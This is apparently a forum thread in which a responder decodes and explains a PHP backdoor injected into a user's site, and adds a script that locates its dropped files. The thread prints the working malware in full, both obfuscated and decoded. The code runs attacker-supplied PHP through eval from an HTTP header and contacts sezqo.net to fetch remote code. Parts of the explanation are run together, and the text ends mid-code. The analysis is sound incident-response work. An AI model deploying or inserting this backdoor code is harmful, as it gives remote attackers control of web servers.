my php files were hacked and some one injected some encoded text in my files. Can any body help my to understand what this code is actually doing. i am not able to decode th
It announces itself to a bot network or worm, which has "http://sezqo.net/w3.php" as a message relay. This relay is most probably only a server hacked the same way. This "network" then may send a request back (maybe not immediately, but much later) containing the real code to be executed. This code may either replace your website (in all or only some special cases, the script is just executed in front of your code) and it may do anything else a PHP script can do.
if (!defined("determinator")) {
if (function_exists("ini_set")) {
@ini_set("allow_url_fopen", 1);
@ini_set("display_errors", 0);
}
function w3net_feof($f, &$time = NULL) {
$time = microtime(true);
return feof($f);
}
function w3net_getfile($host, $URI) {
if (@ini_get("allow_url_fopen") == "1") {
return @file_get_contents("http://" . $host . $URI. "&w=fgc");
} elseif (function_exists("curl_init")){
$ch = @curl_init();
@curl_setopt($ch, CURLOPT_URL, "http://" . $host . $URI. "&w=cu");
@curl_setopt($ch, CURLOPT_HEADER, false);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 6);
$curl_result = @curl_exec($ch);
@curl_close($ch);
if (empty($curl_result)) {
$curl_result = "";
}
return $curl_result;
} else {
$f = @fsockopen($host, 80, $errno, $errstr, 5);
if ($f) {
$data = "";
$time = NULL;
@fputs($f, "GET {$URI}"."&w=sk HTTP/1.0"."\r\n"."Host: "."{$host}\r\n");
$useragent = PHP_OS."/".PHP_VERSION;
@fputs($f, "User-Agent: {$useragent}\r\n\r\n");
while(!w3net_feof($f, $time) && (microtime(true) - $time) < 2) {
$data .= @fgets($f, 128);
}
@fclose($f);
$parts = explode("\r\n\r\n", $data);
unset($parts[0]);
return implode("\r\n\r\n", $parts);
}
}
}
function w3net_output($key, $val) {
echo "Y_".$key.":".$val."\r\n";
}
function php_server($varname){
return @$_SERVER[$varname];
}
$version1="ftp/201309";
$version2="3.01";
$host="http://";
if (isset($_SERVER["HTTPS"])) {
if (@$_SERVER["HTTPS"] != "off") { $host="https://"; }
}
$host.=strtolower(@$_SERVER["HTTP_HOST"]);
foreach ($_GET as $key=>$val) {
if (strpos($val,"union")) {
$_GET[$key]="";
} elseif (strpos($val,"select")) {
$_GET[$key]="";
}
}
if(!isset($_SERVER["REQUEST_URI"])) {
$_SERVER["REQUEST_URI"] = @$_SERVER["SCRIPT_NAME"];
if(isset($_SERVER["QUERY_STRING"])) {
$_SERVER["REQUEST_URI"] .= "?" . @$_SERVER["QUERY_STRING"];
}
}
function get_temp_directory() {
$result=dirname(__FILE__).DIRECTORY_SEPARATOR;
$tmpdirs = Array( "/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $result."tmp", $result."wp-content/uploads", $result."wp-content/cache", );
foreach ($tmpdirs as $tmpdir){
if (!empty($tmpdir)){
$tmpdir.=DIRECTORY_SEPARATOR;
if (@is_writable($tmpdir)) {
$result = $tmpdir; break;
}
}
}
return $result;
}
if (strlen($host) < 10) {
define("determinator", 0);
} elseif ($requestURL=$host.@$_SERVER["REQUEST_URI"]) {
$hash=@md5($host.PHP_OS.$version2."QQ0OQ000000Q0OQ0Q");
$w3n_code=get_temp_directory().".".$hash;
define("determinator", $w3n_code);
$IlIlII = $w3n_code.".log";
if (@$_SERVER["HTTP_Y_AUTH"]==$hash) {
echo "\r\n";
w3net_output("versio", $version2."-".$version1."-php");
if ($code=base64_decode(@$_SERVER["HTTP_EXECPHP"])){
@eval($code);
echo "\r\n";
w3net_output("out", "ok");
}
exit(0);
}
$found = False;
$ua = @strtolower(@$_SERVER["HTTP_USER_AGENT"]);
foreach (explode(",", "google,yahoo,baidu,bingbot,msnbot,yandex") as $pattern) {
if (strpos($ua, $pattern)!==False) {
$f = @fopen($w3n_code.".log", "a");
$requestURI_encoded = @urlencode(@$_SERVER["REQUEST_URI"]);
@fwrite($f, time()."\t".$pattern."\t".$requestURI_encoded."\n");
@fclose($f);
$found=True;
break;
}
}
if (@is_file($w3n_code)) {
@touch($w3n_code);
@include_once($w3n_code);
} elseif ($found === True) {
if (@touch($w3n_code)) {
$requestURL=@urlencode($requestURL);
$URI = "/w3.php?u=".$requestURL."&k=".$hash."&t=php&p=".$version1."&v=".$version2;
$data = w3net_getfile("sezqo.net", $URI);
@touch($w3n_code);
}
}
} else {
define("determinator", 1);
}
}
OK, what does it do? It first tries to unset some PHP security restrictions (enable "allow_url_fopen" and disable "display_errors"). Then it defines functions w3net_feof() (used by w3net_getfile()) and w3net_getfile($host, $URI). w3net_getfile is used to fetch the data from a URL. It tries different possibilities as file_get_contents (if allow_url_fopen is allowed), libcurl and a simple HTTP implementation via fsocket functions. It also defines a function w3net_output() which is used to output key/value pairs as result of the Request that starts this script. It defines a function php_server() to retrieve variables from $_SERVER, but is never used.
Having done this, it sets some version strings ($version1 and $version2, seems to be an identifier for the script itself). Then it constructs a variable that contains the $host part (including http:// or https://) of the URL that enables to reach your script. It then cleans the $_GET variable from values that contain "union" and "select" (sets the values to a empty string). I assume this is used to shorten the final URL. And -if not yet set - it sets the $_SERVER variable "REQUEST_URI" to $_SERVER["SCRIPT_NAME"]."?".$_SERVER["QUERY_STRING"].
As a next step, it defines a function that looks for a writeable directory, where it can place some downloads.
The next step is to check if $host ("https://" or "http://" is shorter than 10 characters. If this is the case, it stops any further action. This is only the case if the HTTP-Host-Name of the server is shorter than 3 characters. This might be some way to block this script from working on special setups where the hostname is very short (as in a development environment).
The next step is to try, if a $requestURL can be built by $host.@$_SERVER["REQUEST_URI"] and if so, it continues the following:
$hash=@md5($host.PHP_OS.$version2."QQ0OQ000000Q0OQ0Q");
) which identifies the local System by Hostname, PHP-OS (version), the $version2 "3.01" part of the version string and some salt "QQ0OQ000000Q0OQ0Q".$w3n_code.".log"
where $w3n_code=get_temp_directory().".".$hash;
(the hash directory found, the hash value appended and then ".log" appended). It writes one line, consisting of a unixtimestamp, the matched pattern (identifying the search engine) and the encoded requestURI (tab delimited). I assume this is used to log how many search engine traffic is to be expected for this location. If there is a lot of traffic there, the "site" is maybe sold or can be used to push the page rank of some websites by inserting some links to other sites. Also a variable $found is set to "true" that marks the traffic as "search engine crawler".$w3n_code
exists, the filename is like the log file above, but without ".log" at its end. If so it runs the contained PHP code. "http://sezqo.net/w3.php?u=".$requestURL."&k=".$hash."&t=php&p=".$version1."&v=".$version2
. This request contains the $requestURL (how to reach THIS script on your server), the Hash key (that allows to authenticate and to send the script another PHP script to execute) and a type 'php' aswell as the version strings $version1 and $version2. After this, it calls touch() to create an empty scriptfile named $w3n_code
. So this request is sent only once, the first search engine comes by.Save the following script to your web page (same server) and execute it through the browser, using https:// and http://. It uses the part of the above script which generates the $hash and estimates the storage directory. It outputs the filenames of the script that the network inserted (if already) and of the logfile. In the same directory look for any other files with similar names (especially *.log files). The logfiles will give you information where the "worm" described above has intruded the system (there may be multiple locations). If file without ".log" already exists, the infected script was already announced to the network and might already have executed any code that was send trough the network. If it contains a script, this script is inserted / executed every time your websites script (containing the above code) is called...
NOTE: Not finding those files is not a guarantee, that nothing has happend! As the network might already have send a PHP-script that removed all those traces...
<?php
function get_temp_directory() {
$result=dirname(__FILE__).DIRECTORY_SEPARATOR;
$tmpdirs = Array( "/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $result."tmp", $result."wp-content/uploads", $result."wp-content/cache", );
foreach ($tmpdirs as $tmpdir){
if (!empty($tmpdir)){
$tmpdir.=DIRECTORY_SEPARATOR;
if (@is_writable($tmpdir)) {
$result = $tmpdir; break;
}
}
}
return $result;
}
$version1="ftp/201309";
$version2="3.01";
$host="http://";
if (isset($_SERVER["HTTPS"])) {
if (@$_SERVER["HTTPS"] != "off") { $host="https://"; }
}
$host.=strtolower(@$_SERVER["HTTP_HOST"]);
$hash=@md5($host.PHP_OS.$version2."QQ0OQ000000Q0OQ0Q");
$w3n_code=get_temp_directory().".".$hash;
echo "FILENAMES:<br>\n";
echo $w3n_code."<br>\n";
echo $w3n_code.".log<br>\n";
?>
Ok, to know what it does, I decoded and analyzed your script. Here is how...
First we format it a bit more nicely:
/*versio:3.01*/
$II11=110426;
if (!function_exists('I11lIl1I')){
$GLOBALS['II11'] = '!aW5pX3NldA$_vYWxsb3dfdXJsX2ZvcGVuZGlzcGxheV9lcnJvcnM*vZnRwLzIwMTMwOQMy4wMQasMUVEwT1EwMDAwMDBRME9RMFEoaHR0cDovLw%WSFRUUFMmb2ZmE= PaHR0cHM6Ly8gSFRUUF9IT1NUQNvdW5pb24ufcc2VsZWN0UkVRVUVTVF9VUkkU0NSSVBUX05BTUU&kBl!xUVVFUllfU1RSSU5HKs cPwmNZGV0ZXJtaW5hdG9ypZLg*(LmxvZwoHkUSFRUUF9ZX0FVVEgYmFzZTY0X2RlY29kZQ?dmVyc2lvMLQ{%LXBocAoSFRUUF9FWEVDUEhQ=b3V0b2s{SFRUUF9VU0VSX0FHRU5ULAHICZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAS#ox~YQ^g=c2V6cW8ubmV0VtZmFzdGFkZHouY29tL3czLnBocD91PQmjlJms9!JnQ9cGhwJnA9!^*XJnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYrdE8yMG9RZnBWbGhaQXRCY2ZPSFhKOEZFVER3UktOU1FpVnFoWlpxYk11VmgwN3NqZUZDdkh1WjJZdnRnTk9oZmpCWm1ibnNuUDVaaHhIeERoYXN5aE8yZHFnYThaWnZvblRGYzl5YXBvdkpBWjJ0RXRESG1kcHdKN2pnaGVHNXppSmx6aWU0YlNJWTV0NGJSS25jVkF3WHVQMVdxUmptM0RESERld3U4QjJ6b0J0QS91VmFCUGtxWnN5SGtRc2k0emp1ZTM3L3J4RlRvNDlrSEk4NHBMWi9jMk5TVjVJUmRuRVlaN3hlTU1NbnU4WUtNc1ozK1VwcWF0b012R1Q4U2hPbUlHYUVnZGVBZ2ZIOHhJVGxYdEtPUTEzZVVMSHlBTmFBaFRGczJnQVQrTEF3Z0NKNTRGQ2c2NlNKSHNLUUNpSXNpMUxxVWxjME9KUTlGazVOa0d6ZURzSXM1U3pGQUpLSHpuZm5yZmJsRmhFK1NOUGFOVWk5T1RKalg2R1ZEeURKUVZyU29weUVaTnhQUGR0ZSs2RHR4TkZOVUFVcUJDSytkNGJJQ1habG9zSFFsYkVreXNtZTJZaHNDWkswRkJxVytUeWZuSGozeTREK05jaUgvQTkzS0hyaC9WY1R5OCtUUmN0RXEzZ2JYKzl1Wmd1N3hlejVlSmlkbmVGRWlybGh3VXUvZGxzZXJsY2VwK24vdjJ5UlFhbWVDdVdvQXlQZUxhV1ExV1k4U0JNc29MVnFCaHd0dG55UDRZU2hqQlhhaWdkdityc0txck9GSmFxckVFMEZ4VlorQXZyb3FxNmtZMlZCMGNuYWVGVjIvYUIwbGMyZGYzS2lzZmVrZWJJZmtlQTI5RjJoMFdnVzRiK04xMlNGNVdGVjJwaEdvcGY1SHE1dkcwN2xnMkU3L24zRlA1ZFp3VS9KM0I0VVM2OUNrWlpMMWhGdDllM2dYOW4wVGExOFBobHVyanovRm1EMGZ1QzVhY1hQNkdtejhHNGxCZjZ0TTZuUjJ5NW82WW1WeTh5eWNrSk1kNDBOVG10MlArUWpsbEZ3OEtvUWkvVnZIQTZJOUVvazBoblVXT0FEQzltZ2oxdmsyek5ERm82MTlJcTRkNHVSYWhTdDcvWkR4V294SnNHT1hsUDJIeDlqelBaamtPVVJIdUNkdlhPQkdHR2hZOFpvVjhEYWltbVJjL0ZHZmtxUVh2QXRYM2NRc2ZtdjFrdW5iUG5ab1VxeDhIZGRBR3ArYVpZRHloNmpMM3NKRzRKdS8wK0JLaG55Z0tDZEZlY3dabnFqcmtOZjM3RkdJNEF5THRheEttSk9IWkhEQUJacTNFaG9xYmRxRzdoSkJpYUQzcWFUQTVmSVVjdXFZZ2QwTjR6WmJMZkdPNUNqemlPQ3JsaVcyN0JjNTRCL2tKOG1vejAwTnVPaWVtTXNweXR3a2Rvc0FBYlpWVVFsUUwzM3lvLzZDeW8zR1lDWEpIWXFwVDFoK2d4d2dCcStLYkVIMm8rRG9aaXVGV0lmVkFYM2h4OVROY3JlR1VjSFF6MUVOUGJ4MWdqWWh6bUMreDd6ejZ6SlJzVGVqQ2ZIWVF0Wi9BQkkxWXRtNTB1U0hWTUdBME5oa3VWNC8wT3dpSEpBWGVEZFp5ekVGYVNQNGJxZlVCWkY0anBDaUFpQ0s2OG0ya1FtTlluYndGZzd5Kytnb1hiaThVRkhGVkIyOWoxRjNtKyttTVEybDZ6MyszaWNRUE5TOXQ4czIxYkVVemkwMTBhUDFjazczS3FLWlhIZFBuNWxqN3NVNllsYVRyN1VyK2hmNEpYZXhRbElPeWc5bko1MkFHNHJOWUJsdyttcHQ1SkFCamsxZkxuMC9aVUxROXRLVlFjNElaUTVReDRleld2QW9KVmo2M3UrNnJZajlTSVUwU3hTWWlqNVRaR1ZxNCtSZkNVeDN6MUkyRjdrdElaWENna2NVeCtnUDFmR2lYTGNTbXVqVVZoaXhaSnF1bUlZQS93OGtMa2VtclVpcWt2NmtWdmo3ckRCTlRidnFzUm9hbkd5eGFSZTVKdno5M0padDNYTmkwMTdCUStXZ29PRWY0QXoyRmxXek8zcVN5dHlybCtGeXZkVXRySGYvRytWQ25RRmJneVlKcGExem1VNkh3QVFEc0lFUGdxMTFWbTFmUG1jN3VDa2M0SUVSQ25veHc5YXNMc3phbHFRYmR4TzVFMUtDSlJjUnhiUGxBT2x6cWpoMTVXdXd1TVJkOVZialM1M2UyVVVBS2ZFT3ozS3RGU0gvU3hPOElSMGFwZ3Bvc2czelZsVlR6SDNKQUZBbHNaM0hBZ3VGZTRZNDdseXVVaFlmTDNxZEh0RGNSM3pON1UwT3REZFd1QXQvWWNHY0xUK2pDK1pKdmhKdVMvblNuQ2hWYkpQWEpkNFozb0h0QWgvSjFFY2w4OFdCTTFtNzJ1U0l3c0pyWE9UM2JZVVNqWk9CUExic0J0RHZ1WUdjbzJMTmU0ZjVtd2lIQnFLUi9WRDZrZGZvaWxybHkwcEtEY3NESGM3aEtXdDcyKzE0Z2h2N3pLNnNmczgyd1hQaHIxamdCZ0RKUGRtZ1ZaR3JJOVRxM2pkV0xoTXd1dFNlUlJlN25FKzFwNCttSUJxRWVzZHlZS1VIZldXeWRNdGI0RHB0UUNxVWh5SmNJRm05UUdYVzhnVnl4TDNhb1MxaHVKaFVZRFE1MHhGSTY5NzZpKzNaVWlzZ2ZGVWo2WFMvbTdyMWdVZ0dXMStwQWROd1ZWb3EvNk5EbU1UR3EzK2g4cWFYNkIiKSkpOwWn=&kcHJlZ19yZXBsYWNl';
function I11lIl1I($a, $b){
$c=$GLOBALS['II11'];
$d=pack('H*','6261736536345f6465636f'.'6465');
return $d(substr($c, $a, $b));
};
$QO0000QQ0 = I11lIl1I(3374, 16);
$QO0000QQ0("/Q0QO00QOO/e", I11lIl1I(507, 2862), "Q0QO00QOO");
};
We see, that the code checks, if a function I11lIl1I
exists already, if not it defines this function and executes some code. This function takes two parameters $a and $b, which define some part of the decoded string, which is cut out using substr() later in this function. The function takes the encode text $GLOBALS['II11']
and stores it in $c
. $d
is set to pack('H*','6261736536345f6465636f'.'6465')
which results in base64_decode
. This function is used to decode the part cut out of $c using the limits $a and $b. The function is called with $a = 3374, $b = 16, resulting in preg_replace
which is stored as $QO0000QQ0. Then preg_replace("/Q0QO00QOO/e", I11lIl1I(507, 2862), "Q0QO00QOO");
is called. Whereas the decoding function I11lIl1I
is used again to fetch some data from the encoded string ($a = 507, $b = 2862).
The data from I11lIl1I(507,2862)
is:
eval(gzuncompress(base64_decode("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")));
This preg_replace(...)
call uses a pattern "/.../e", which looks for the string Q0QO00QOO
in the string Q0QO00QOO
and executes I11lIl1I(507, 2862)
(the decoded string) above for every occurance. The code contains eval(gzuncompress(base64_decode(" ")));
which again base64-decodes a string then uncompresses the binary data and evaluates (=executes its php code) it.
The uncompressed, base64-decoded text is again some php code, which pretified looks like this:
if (!defined("determinator")) {
if (function_exists(I11lIl1I(1, 10))) {
@ini_set(I11lIl1I(14, 20), 1);
@ini_set(I11lIl1I(34, 19), 0);
}
function w3net_feof($Q0OOOQ, &$I1lI1I = NULL) {
$I1lI1I = microtime(true);
return feof($Q0OOOQ);
}
function w3net_getfile($I1ll11, $I11IIl) {
$IIlI1I = "curl";
$I1IIll = $IIlI1I."_init";
if (@ini_get("allow_url_fopen") == "1") {
return @file_get_contents("http://" . $I1ll11 . $I11IIl. "&w=fgc");
} elseif (function_exists($I1IIll)){
$QO00QO = @$I1IIll();
$QOOOQQ = $IIlI1I."_setopt";
$IIl11I = $IIlI1I."_exec";
@$QOOOQQ($QO00QO, CURLOPT_URL, "http://" . $I1ll11 . $I11IIl. "&w=cu");
@$QOOOQQ($QO00QO, CURLOPT_HEADER, false);
@$QOOOQQ($QO00QO, CURLOPT_RETURNTRANSFER, true);
@$QOOOQQ($QO00QO, CURLOPT_CONNECTTIMEOUT, 6);
$IIIl1I = @$IIl11I($QO00QO);
@curl_close($QO00QO);
if (empty($IIIl1I)) {
$IIIl1I = "";
}
return $IIIl1I;
} else {
$Q0OOOQ = @fsockopen($I1ll11, 80, $Il111l, $Q000O0, 5);
if ($Q0OOOQ) {
$I111lI = "";
$I1lI1I = NULL;
@fputs($Q0OOOQ, "GET {$I11IIl}"."&w=sk HTTP/1.0"."\r\n"."Host: "."{$I1ll11}\r\n");
$QOOOQO = PHP_OS."/".PHP_VERSION;
@fputs($Q0OOOQ, "User-Agent: {$QOOOQO}\r\n\r\n");
while(!w3net_feof($Q0OOOQ, $I1lI1I) && (microtime(true) - $I1lI1I) < 2) {
$I111lI .= @fgets($Q0OOOQ, 128);
}
@fclose($Q0OOOQ);
$Q000OQ = explode("\r\n\r\n", $I111lI);
unset($Q000OQ[0]);
return implode("\r\n\r\n", $Q000OQ);
}
}
}
function w3net_output($I1I1lI, $I1lIll) {
echo "Y_".$I1I1lI.":".$I1lIll."\r\n";
}
function php_server($Q0000Q){
return @$_SERVER[$Q0000Q];
}
$IlI11l=I11lIl1I(55, 14);
$I1lll1=I11lIl1I(69, 6);
$Q0Q0QO=I11lIl1I(78, 23);
$I1ll11=I11lIl1I(102, 10);
if (isset($_SERVER[I11lIl1I(114, 7)])) {
if (@$_SERVER[I11lIl1I(114, 7)] != I11lIl1I(122, 4)) { $I1ll11=I11lIl1I(130, 11); }
}
$I1ll11.=strtolower(@$_SERVER[I11lIl1I(142, 12)]);
foreach ($_GET as $I1I1lI=>$I1lIll) {
if (strpos($I1lIll,I11lIl1I(157, 7))) {
$_GET[$I1I1lI]=I11lIl1I(167, 0);
} elseif (strpos($I1lIll,I11lIl1I(167, 8))) {
$_GET[$I1I1lI]=I11lIl1I(167, 0);
}
}
if(!isset($_SERVER[I11lIl1I(175, 15)])) {
$_SERVER[I11lIl1I(175, 15)] = @$_SERVER[I11lIl1I(190, 15)];
if(isset($_SERVER[I11lIl1I(211, 16)])) {
$_SERVER[I11lIl1I(175, 15)] .= I11lIl1I(231, 2) . @$_SERVER[I11lIl1I(211, 16)];
}
}
function get_temp_directory() {
$I11III=dirname(__FILE__).DIRECTORY_SEPARATOR;
$Q0Q00Q = Array( "/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $I11III."tmp", $I11III."wp-content/uploads", $I11III."wp-content/cache", );
foreach ($Q0Q00Q as $Q0QOOO){
if (!empty($Q0QOOO)){
$Q0QOOO.=DIRECTORY_SEPARATOR;
if (@is_writable($Q0QOOO)) {
$I11III = $Q0QOOO; break;
}
}
}
return $I11III;
}
if (strlen($I1ll11) < 10) {
define(I11lIl1I(235, 16), 0);
} elseif ($Q0OO0O=$I1ll11.@$_SERVER[I11lIl1I(175, 15)]) {
$QO0O0Q=@md5($I1ll11.PHP_OS.$I1lll1.$Q0Q0QO);
$w3n_code=get_temp_directory().I11lIl1I(253, 2).$QO0O0Q;
define(I11lIl1I(235, 16), $w3n_code);
$IlIlII = $w3n_code.I11lIl1I(257, 6);
if (@$_SERVER[I11lIl1I(267, 15)]==$QO0O0Q) {
$QO0QQ0=I11lIl1I(282, 18);
echo "\r\n";
w3net_output(I11lIl1I(301, 8), $I1lll1.I11lIl1I(310, 2).$IlI11l.I11lIl1I(314, 6));
if ($Q00OQO=$QO0QQ0(@$_SERVER[I11lIl1I(321, 16)])){
@eval($Q00OQO);
echo "\r\n";
w3net_output(I11lIl1I(338, 4), I11lIl1I(342, 3));
}
exit(0);
}
$II11l1 = False;
$Il11I1 = @strtolower(@$_SERVER[I11lIl1I(346, 20)]);
foreach (explode(I11lIl1I(366, 2), I11lIl1I(371, 54)) as $QOOQOO) {
if (strpos($Il11I1, $QOOQOO)!==False) {
$Il1Il1 = @fopen($w3n_code.I11lIl1I(257, 6), I11lIl1I(430, 2));
$Ill11I = @urlencode(@$_SERVER[I11lIl1I(175, 15)]);
@fwrite($Il1Il1, time()."\t".$QOOQOO."\t".$Ill11I."\n");
@fclose($Il1Il1);
$II11l1=True;
break;
}
}
if (@is_file($w3n_code)) {
@touch($w3n_code);
@include_once($w3n_code);
} elseif ($II11l1 === True) {
$I1Il1I = Array(I11lIl1I(435, 12), I11lIl1I(449, 16));
if (@touch($w3n_code)) {
$Q0OO0O=@urlencode($Q0OO0O);
$I11IIl = I11lIl1I(465, 14).$Q0OO0O.I11lIl1I(482, 4).$QO0O0Q.I11lIl1I(487, 12).$IlI11l.I11lIl1I(503, 4).$I1lll1;
$QOQOQO = w3net_getfile($I1Il1I[0], $I11IIl);
@touch($w3n_code);
}
}
} else {
define(I11lIl1I(235, 16), 1);
}
}
As we can see, it obfuscates some strings and function names again using the I11lIl1I(..)
-function. Let us replace these ones:
if (!defined("determinator")) {
if (function_exists("ini_set")) {
@ini_set("allow_url_fopen", 1);
@ini_set("display_errors", 0);
}
function w3net_feof($Q0OOOQ, &$I1lI1I = NULL) {
$I1lI1I = microtime(true);
return feof($Q0OOOQ);
}
function w3net_getfile($I1ll11, $I11IIl) {
$IIlI1I = "curl";
$I1IIll = $IIlI1I."_init";
if (@ini_get("allow_url_fopen") == "1") {
return @file_get_contents("http://" . $I1ll11 . $I11IIl. "&w=fgc");
} elseif (function_exists($I1IIll)){
$QO00QO = @$I1IIll();
$QOOOQQ = $IIlI1I."_setopt";
$IIl11I = $IIlI1I."_exec";
@$QOOOQQ($QO00QO, CURLOPT_URL, "http://" . $I1ll11 . $I11IIl. "&w=cu");
@$QOOOQQ($QO00QO, CURLOPT_HEADER, false);
@$QOOOQQ($QO00QO, CURLOPT_RETURNTRANSFER, true);
@$QOOOQQ($QO00QO, CURLOPT_CONNECTTIMEOUT, 6);
$IIIl1I = @$IIl11I($QO00QO);
@curl_close($QO00QO);
if (empty($IIIl1I)) {
$IIIl1I = "";
}
return $IIIl1I;
} else {
$Q0OOOQ = @fsockopen($I1ll11, 80, $Il111l, $Q000O0, 5);
if ($Q0OOOQ) {
$I111lI = "";
$I1lI1I = NULL;
@fputs($Q0OOOQ, "GET {$I11IIl}"."&w=sk HTTP/1.0"."\r\n"."Host: "."{$I1ll11}\r\n");
$QOOOQO = PHP_OS."/".PHP_VERSION;
@fputs($Q0OOOQ, "User-Agent: {$QOOOQO}\r\n\r\n");
while(!w3net_feof($Q0OOOQ, $I1lI1I) && (microtime(true) - $I1lI1I) < 2) {
$I111lI .= @fgets($Q0OOOQ, 128);
}
@fclose($Q0OOOQ);
$Q000OQ = explode("\r\n\r\n", $I111lI);
unset($Q000OQ[0]);
return implode("\r\n\r\n", $Q000OQ);
}
}
}
function w3net_output($I1I1lI, $I1lIll) {
echo "Y_".$I1I1lI.":".$I1lIll."\r\n";
}
function php_server($Q0000Q){
return @$_SERVER[$Q0000Q];
}
$IlI11l="ftp/201309";
$I1lll1="3.01";
$Q0Q0QO="QQ0OQ000000Q0OQ0Q";
$I1ll11="http://";
if (isset($_SERVER["HTTPS"])) {
if (@$_SERVER["HTTPS"] != "off") { $I1ll11="https://"; }
}
$I1ll11.=strtolower(@$_SERVER["HTTP_HOST"]);
foreach ($_GET as $I1I1lI=>$I1lIll) {
if (strpos($I1lIll,"union")) {
$_GET[$I1I1lI]="";
} elseif (strpos($I1lIll,"select")) {
$_GET[$I1I1lI]="";
}
}
if(!isset($_SERVER["REQUEST_URI"])) {
$_SERVER["REQUEST_URI"] = @$_SERVER["SCRIPT_NAME"];
if(isset($_SERVER["QUERY_STRING"])) {
$_SERVER["REQUEST_URI"] .= "?" . @$_SERVER["QUERY_STRING"];
}
}
function get_temp_directory() {
$I11III=dirname(__FILE__).DIRECTORY_SEPARATOR;
$Q0Q00Q = Array( "/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $I11III."tmp", $I11III."wp-content/uploads", $I11III."wp-content/cache", );
foreach ($Q0Q00Q as $Q0QOOO){
if (!empty($Q0QOOO)){
$Q0QOOO.=DIRECTORY_SEPARATOR;
if (@is_writable($Q0QOOO)) {
$I11III = $Q0QOOO; break;
}
}
}
return $I11III;
}
if (strlen($I1ll11) < 10) {
define("determinator", 0);
